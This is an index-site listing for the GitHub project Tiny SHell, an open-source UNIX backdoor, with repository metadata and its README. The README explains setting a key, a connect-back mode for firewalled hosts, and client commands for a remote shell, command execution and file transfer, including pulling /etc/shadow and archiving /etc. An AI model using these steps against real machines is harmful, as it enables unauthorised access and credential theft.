Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/creaktive/tsh
Tiny SHell - An open-source UNIX backdoor (I'm not the author!)
https://github.com/creaktive/tsh
backdoor reverse-shell shell
Last synced: 10 days ago
JSON representation
Tiny SHell - An open-source UNIX backdoor (I'm not the author!)
- Host: GitHub
- URL: https://github.com/creaktive/tsh
- Owner: creaktive
- Created: 2011-05-14T19:15:00.000Z (over 13 years ago)
- Default Branch: master
- Last Pushed: 2024-02-20T18:07:08.000Z (9 months ago)
- Last Synced: 2024-08-02T15:18:56.923Z (3 months ago)
- Topics: backdoor, reverse-shell, shell
- Language: C
- Homepage: http://packetstormsecurity.org/files/31650/tsh-0.6.tgz.html
- Size: 28.3 KB
- Stars: 533
- Watchers: 22
- Forks: 125
- Open Issues: 1
-
Metadata Files:
- Readme: README
- Changelog: ChangeLog
Awesome Lists containing this project
README
Tiny SHell - An open-source UNIX backdoor
* Before compiling Tiny SHell
1. First of all, you should setup your secret key, which
is located in tsh.h; the key can be of any length (use
at least 12 characters for better security).2. It is advised to change SERVER_PORT, the port on which
the server will be listening for incoming connections.3. You may want to start tshd in "connect-back" mode if
it runs on on a firewalled box; simply uncomment and
modify CONNECT_BACK_HOST in tsh.h.* Compiling Tiny SHell
Run "make ", where can be any one of these:
linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf* How to use the server
It can be useful to set $HOME and the file creation mask
before starting the server:% umask 077; HOME=/var/tmp ./tshd
* How to use the client
Make sure tshd is running on the remote host. You can:
- start a shell:
./tsh
- execute a command:
./tsh "uname -a"
- transfer files:
./tsh get /etc/shadow .
./tsh put vmlinuz /bootNote: if the server runs in connect-back mode, replace
the remote machine hostname with "cb".* About multiple file transfers
At the moment, Tiny SHell does not support scp-like multiple
and/or recursive file transfers. You can work around this bug
by simply making a tar archive and transferring it. Example:./tsh host "stty raw; tar -cf - /etc 2>/dev/null" | tar -xvf -
* About terminal modes
On some brain-dead systems (actually, IRIX and HP-UX), Ctrl-C
and other control keys do not work correctly. Fix it with:% stty intr "^C" erase "^H" eof "^D" susp "^Z" kill "^U"
* About security
Please remember that the secret key is stored in clear inside
both tsh and tshd executables; therefore you should make sure
that no one except you has read access to these two files.
However, you may choose not to store the real (valid) key in
the client, which will then ask for a password when it starts.